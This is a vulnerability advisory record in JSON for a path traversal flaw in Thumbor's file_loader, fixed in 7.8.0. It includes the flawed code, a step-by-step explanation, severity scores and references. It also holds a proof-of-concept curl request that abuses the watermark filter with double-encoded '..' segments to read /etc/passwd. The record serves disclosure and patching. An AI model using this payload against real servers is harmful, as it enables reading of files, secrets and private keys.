{"id":"CVE-2026-53502","aliases":["CVE-2026-53502","GHSA-cj54-hpcc-gj6h","PYSEC-2026-3618"],"related":[],"kind":"vulnerability","state":"published","title":"Thumbor has path traversal via post-validation URL decoding bypass in file_loader","summary":"Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, file_loader decodes percent-encoded path segments after its root-boundary validation, allowing traversal outside FILE_LOADER_ROOT_PATH through watermark or frame filter input. This issue is fixed in 7.8.0.","source":"cvelist"},{"lang":"en","text":"The file_loader performs `unquote()` on the file path AFTER the `abspath() + startswith()` security check. An attacker can use percent-encoded path traversal sequences (`%2e%2e` for `..`) that pass the security check as literal directory names, but are then decoded to actual `..` traversal sequences.\n\n## Affected code\n\n`thumbor/loaders/file_loader.py` lines 28-49:\n```python\nasync def load(context, path):\n    file_path = join(\n        context.config.FILE_LOADER_ROOT_PATH.rstrip(\"/\"), path.lstrip(\"/\")\n    )\n    file_path = abspath(file_path)\n    inside_root_path = file_path.startswith(         # Security check\n        abspath(context.config.FILE_LOADER_ROOT_PATH)\n    )\n    result = LoaderResult()\n    if not inside_root_path:\n        result.error = LoaderResult.ERROR_NOT_FOUND\n        result.successful = False\n        return result\n\n    if not exists(file_path):\n        file_path = unquote(file_path)               # unquote AFTER check!\n\n    if exists(file_path) and isfile(file_path):\n        with open(file_path, \"rb\") as source_file:\n            ...\n```\n\nThe watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies `quote()` in `imaging.py` line 37).\n\n## PoC\n\n```bash\n# Read /etc/passwd via watermark filter path traversal\n# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,\n# file_loader unquote decodes %2e to .\ncurl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'\n```\n\nFlow:\n1. `%252e%252e` arrives at Tornado, decoded to `%2e%2e`\n2. Watermark filter passes `%2e%2e/%2e%2e/.../etc/passwd` to file_loader\n3. `join(ROOT, '%2e%2e/...')` = `ROOT/%2e%2e/...`\n4. `abspath()` sees `%2e%2e` as literal dir name (no dots to resolve)\n5. `startswith(ROOT)` = True (passes check)\n6. `exists()` returns False (literal `%2e%2e` dir doesn't exist)\n7. `unquote()` converts `%2e%2e` to `..`\n8. OS resolves `..` → reads files outside ROOT\n\n## Prerequisites\n\n- `LOADER = thumbor.loaders.file_loader` (or `file_loader_http_fallback`)\n- `ALLOW_UNSAFE_URL = True` (this is the default)\n- watermark/frame filters are enabled by default (in BUILTIN_FILTERS)\n\n## Impact\n\nArbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.","format":"markdown","source":"ghsa"}],"published":"2026-07-31T19:03:16.522Z","modified":"2026-09-08T20:51:43.490Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 7.8.0","status":"affected"}],"vendor":"thumbor","product":"thumbor","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"7.8.0"}],"ecosystem":"PyPI","package":"thumbor","purl":"pkg:pypi/thumbor","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"7.8.0"}],"ecosystem":"PyPI","package":"thumbor","purl":"pkg:pypi/thumbor","source":"pysec"}],"references":[{"url":"https://github.com/thumbor/thumbor/security/advisories/GHSA-cj54-hpcc-gj6h","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/thumbor/thumbor/commit/3b986d13677b30fe6651c8c72ebb25957ac0a40d","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/thumbor/thumbor/releases/tag/7.8.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/thumbor/thumbor","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/thumbor","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-cj54-hpcc-gj6h","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53502","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-07-31T19:17:57.968Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-53502","url":"https://www.cve.org/CVERecord?id=CVE-2026-53502","licence":"CVE Terms of Use","modified":"2026-07-31T19:18:09.047Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cj54-hpcc-gj6h","url":"https://github.com/advisories/GHSA-cj54-hpcc-gj6h","licence":"CC-BY-4.0","modified":"2026-08-04T14:40:39.499Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-53502","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53502","licence":"Public domain","modified":"2026-09-08T20:51:43.490Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3618","url":"https://osv.dev/vulnerability/PYSEC-2026-3618","licence":"CC-BY-4.0","modified":"2026-08-04T14:30:17.840Z"}],"updatedAt":"2026-11-25T22:59:30.733Z","epss":{"score":0.00439,"percentile":0.39931,"date":"2026-12-01T12:00:22.000Z"}}